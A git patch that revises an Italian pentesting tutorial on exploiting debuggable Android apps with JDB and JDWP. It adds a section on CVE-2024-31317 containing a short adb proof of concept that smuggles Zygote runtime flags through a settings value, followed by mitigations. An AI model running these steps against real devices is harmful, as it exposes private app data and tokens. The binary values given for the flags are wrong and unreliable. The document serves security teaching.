From 91c08365b67ee21f3e2dbcedd8143d5e04d798b5 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 28 Jul 2025 16:30:32 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d --- .../exploiting-a-debuggeable-applciation.md | 62 +++++++++++++++---- 1 file changed, 49 insertions(+), 13 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 8271e94c1..498186ff9 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -# **Evitare controlli di root e debuggable** +# **Superare i controlli di root e debuggable** Questa sezione del post è un riassunto del post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) -## Passaggi per rendere un'app Android debuggable e bypassare i controlli +## Passaggi per rendere un'app Android debuggable e superare i controlli ### **Rendere l'app debuggable** @@ -15,7 +15,7 @@ Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-byp 1. **Decompilare l'APK:** - Utilizzare lo strumento APK-GUI per decompilare l'APK. -- Nel file _android-manifest_, inserire `android:debuggable=true` per abilitare la modalità di debug. +- Nel file _android-manifest_, inserire `android:debuggable="true"` per abilitare la modalità di debug. - Ricompilare, firmare e zipalignare l'applicazione modificata. 2. **Installare l'applicazione modificata:** @@ -30,7 +30,7 @@ Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-byp - Comando: `adb shell am setup-debug-app –w `. - **Nota:** Questo comando deve essere eseguito ogni volta prima di avviare l'applicazione per garantire che attenda il debugger. -- Per persistenza, utilizzare `adb shell am setup-debug-app –w -–persistent `. +- Per persistenza, utilizzare `adb shell am setup-debug-app –w ––persistent `. - Per rimuovere tutti i flag, utilizzare `adb shell am clear-debug-app `. 5. **Prepararsi per il debug in Android Studio:** @@ -41,19 +41,19 @@ Contenuto basato su https://medium.com/@shubhamsonani/hacking-with-precision-byp 6. **Impostare i breakpoint nei file Java chiave:** - Posizionare i breakpoint in `MainActivity.java` (specificamente nel metodo `onCreate`), `b.java` e `ContextWrapper.java`. -### **Evitare i controlli** +### **Superare i controlli** -L'applicazione, in determinati punti, verificherà se è debuggable e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit debuggable e alterare i nomi dei binari cercati per bypassare questi controlli. +L'applicazione, in determinati punti, verificherà se è debuggable e controllerà anche i binari che indicano un dispositivo rootato. Il debugger può essere utilizzato per modificare le informazioni dell'app, disattivare il bit debuggable e alterare i nomi dei binari cercati per superare questi controlli. Per il controllo debuggable: -1. **Modificare le impostazioni dei flag:** +1. **Modificare le impostazioni del flag:** - Nella sezione variabili della console del debugger, navigare a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. - **Nota:** La rappresentazione binaria di `flags = 814267974` è `11000011100111011110`, indicando che il "Flag_debuggable" è attivo. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere bypassati utilizzando il debugger, facilitando un'analisi o una modifica più approfondita del comportamento dell'applicazione. +Questi passaggi garantiscono collettivamente che l'applicazione possa essere debuggata e che alcuni controlli di sicurezza possano essere superati utilizzando il debugger, facilitando un'analisi o modifica più approfondita del comportamento dell'applicazione. Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rappresentato in binario come 110000101101000000100010100. @@ -61,15 +61,15 @@ Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rap È stata fornita una dimostrazione utilizzando un'app vulnerabile contenente un pulsante e un textview. Inizialmente, l'applicazione visualizza "Crack Me". L'obiettivo è modificare il messaggio da "Try Again" a "Hacked" durante l'esecuzione, senza modificare il codice sorgente. -## **Controllare la vulnerabilità** +## **Controllo della vulnerabilità** - L'applicazione è stata decompilata utilizzando `apktool` per accedere al file `AndroidManifest.xml`. -- La presenza di `android_debuggable="true"` nell'AndroidManifest.xml indica che l'applicazione è debuggable e suscettibile di sfruttamento. +- La presenza di `android_debuggable="true"` nel AndroidManifest.xml indica che l'applicazione è debuggable e suscettibile a sfruttamento. - Vale la pena notare che `apktool` è impiegato esclusivamente per controllare lo stato debuggable senza alterare alcun codice. ## **Preparare la configurazione** -- Il processo ha comportato l'avvio di un emulatore, l'installazione dell'app vulnerabile e l'uso di `adb jdwp` per identificare le porte Dalvik VM in ascolto. +- Il processo ha comportato l'avvio di un emulatore, l'installazione dell'app vulnerabile e l'uso di `adb jdwp` per identificare le porte Dalvik VM che sono in ascolto. - Il JDWP (Java Debug Wire Protocol) consente il debug di un'applicazione in esecuzione in una VM esponendo una porta unica. - Il port forwarding è stato necessario per il debug remoto, seguito dall'attacco di JDB all'applicazione target. @@ -77,15 +77,51 @@ Il passaggio 2 comporta la modifica di un valore di flag a 814267972, che è rap - Lo sfruttamento è stato effettuato impostando breakpoint e controllando il flusso dell'applicazione. - Comandi come `classes` e `methods ` sono stati utilizzati per scoprire la struttura dell'applicazione. -- Un breakpoint è stato impostato nel metodo `onClick`, e la sua esecuzione è stata controllata. +- È stato impostato un breakpoint nel metodo `onClick`, e la sua esecuzione è stata controllata. - I comandi `locals`, `next` e `set` sono stati utilizzati per ispezionare e modificare le variabili locali, in particolare cambiando il messaggio "Try Again" in "Hacked". - Il codice modificato è stato eseguito utilizzando il comando `run`, alterando con successo l'output dell'applicazione in tempo reale. -Questo esempio ha dimostrato come il comportamento di un'applicazione debuggable possa essere manipolato, evidenziando il potenziale per exploit più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione. +Questo esempio ha dimostrato come il comportamento di un'applicazione debuggable possa essere manipolato, evidenziando il potenziale per sfruttamenti più complessi come ottenere accesso shell sul dispositivo nel contesto dell'applicazione. + +--- + +# 2024 – Trasformare **qualsiasi** applicazione in un processo debuggable (CVE-2024-31317) + +Anche se l'APK target _non_ è fornito con il flag `android:debuggable`, ricerche recenti hanno dimostrato che è possibile forzare **applicazioni arbitrarie** a partire con il flag di runtime `DEBUG_ENABLE_JDWP` abusando del modo in cui Zygote analizza gli argomenti della riga di comando. + +* **Vulnerabilità:** Validazione impropria di `--runtime-flags` forniti attraverso il socket di comando di Zygote consente a un attaccante che può raggiungere `system_server` (ad esempio tramite la shell privilegiata `adb` che possiede il permesso `WRITE_SECURE_SETTINGS`) di iniettare parametri extra. Quando il comando creato viene riprodotto da `system_server`, l'app vittima viene forkata come _debuggable_ e con un thread JDWP in ascolto. Il problema è tracciato come **CVE-2024-31317** ed è stato risolto nel bollettino di sicurezza Android di giugno 2024. +* **Impatto:** Accesso completo in lettura/scrittura alla directory di dati privati di **qualsiasi** app (inclusi quelli privilegiati come `com.android.settings`), furto di token, bypass MDM e, in molti casi, un percorso diretto per l'escalation dei privilegi abusando degli endpoint IPC esportati del processo ora debuggable. +* **Versioni interessate:** Android 9 fino a 14 prima del livello di patch di giugno 2024. + +## PoC rapida +```bash +# Requires: adb shell (device must be <2024-06-01 patch-level) +# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag +adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" + +# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP +adb shell monkey -p com.victim.bank 1 + +# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio +adb jdwp # obtain the PID +adb forward tcp:8700 jdwp: +jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 +``` +> Il valore creato nel passo 1 interrompe il parser dal “fast-path” e aggiunge un secondo comando sintetico dove `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) è accettato come se fosse stato fornito dal framework. Una volta che l'app è avviata, viene aperta una socket JDWP e trucchi di debug dinamico regolari (sostituzione di metodi, patching di variabili, iniezione live di Frida, ecc.) sono possibili **senza modificare l'APK o l'immagine di avvio del dispositivo**. + +## Rilevamento e Mitigazione + +* Applicare la patch al livello di sicurezza **2024-06-01** (o successivo) – Google ha indurito `ZygoteCommandBuffer` in modo che i comandi successivi non possano essere contrabbandati in questo modo. +* Limitare l'accesso a `WRITE_SECURE_SETTINGS` / `shell` sui dispositivi di produzione. Lo sfruttamento richiede questo permesso, che normalmente è detenuto solo da app ADB o privilegiate OEM. +* Su flotte gestite da EMM/MDM, applicare `ro.debuggable=0` e negare l'accesso shell tramite `adb disable-verifier`. + +--- ## Riferimenti - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) +- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) +- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}